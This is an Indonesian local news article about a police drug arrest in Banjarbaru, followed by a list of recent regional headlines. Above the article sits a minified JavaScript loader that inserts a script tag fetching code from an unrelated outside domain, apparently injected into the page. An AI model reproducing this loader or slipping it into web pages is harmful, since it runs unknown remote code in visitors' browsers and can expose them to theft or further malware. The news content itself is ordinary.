(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Lelaki Warga Kelayan Diringkus Satresnarkoba Polres Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarbaru menciduk pelaku aktivitas peredaran gelap narkotika di Jalan Ahmad Yani Kilometer 33, Kelurahan Loktabat Selatan, Kecamatan Banjarbaru Selatan, Kota Banjarbaru.

Penangkapan terjadi pada Jumat (2/8/2024), pihak kepolisian mendapati laporan dari masyarakat terkait adanya peredaran gelap narkoba di wilayah tersebut.

Kapolres Banjarbaru, AKBP Dody Harza Kusumah melalui Kasi Humas AKP Syahruji mengatakan, polisi kemudian menindak lanjuti laporan dengan melakukan penyelidikan.

Baca juga: Peringatan Hari Indonesia Menabung Bersama Pelajar SLBN 2 Martapura

“Setelah mendapatkan informasi yang cukup, sekitar pulul 21.00 Wita Satresnarkoba Polres Banjarbaru berhasil menangkap seorang laki-laki berinisial RH (40) di Jalan Ahmad Yani Km 33.

RH diketahui merupakan warga Jalan Kelayan A Kelurahan Kelayan Dalam, Kecamatan Banjarmasin Selatan, Kota Banjarmasin.

“Dengan menunjukan surat perintah tugas dengan disaksikan oleh warga petugas kemudian melakukan penggeledahan terhadap RH,” sambungnya.

Baca juga: IPP Naik, Gubernur Kalsel Raih Dua Penghargaan Kemenpora RI

Saat digeledah, RH menyimpan satu lembar plastik klip yang di dalamnta berisi narkotika jenis sabu dengan berat kotor seberat 1,16 gram.

Setelah ditimbang narkotika itu memiliki berat bersih 1,00 gram. Kemudian polisi juga menemukan sebuah handphone merk Samsung warna biru tua, selembar amplop warna putih dan uang tunai sebesar Rp40 ribu.

“RH dan barang bukti diamankan ke Polres Banjarbaru guna menjalani proses hukum lebih lanjut,” tuntas Syahruji. RH telah ditetapkan sebagai tersangka dan akibat perbuatannya terancam hukuman seperti termuat dalam pasal 114 ayat (1) sub pasal 112 ayat (1) UU RI Nomor 35 Tahun 2009 Tentang Narkotika. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

3 jam ago

Resmikan Puskesmas, Bupati Banjar Harapkan Pelayanan Terbaik kepada Masyarakat

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More

4 jam ago

Bupati HSU Bersama Dandim Tinjau Lokasi TMMD di Desa Hambuku Hulu

‎KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More

4 jam ago

‎TMMD Ke-127 Dimulai, Bupati HSU: TNI Berperan Aktif Percepat Pembangunan Pedesaan

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More

4 jam ago

Penataan Blok Pasar di Kawasan Jalan Jenderal Sudirman, Pemkab Kapuas Siapkan Relokasi

KANALKALIMANTAN.COM,KUALA KAPUAS - Dinas Perindustrian, Perdagangan, Koperasi, dan UMKM Kabupaten Kapuas menggelar rapat lanjutan penataan… Read More

21 jam ago

Pimpin Rakor Mingguan, Bupati Soroti Pengelolaan Taman CBS

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur memberikan perhatian khusus terhadap penertiban pengelolaan Taman… Read More

23 jam ago

This website uses cookies.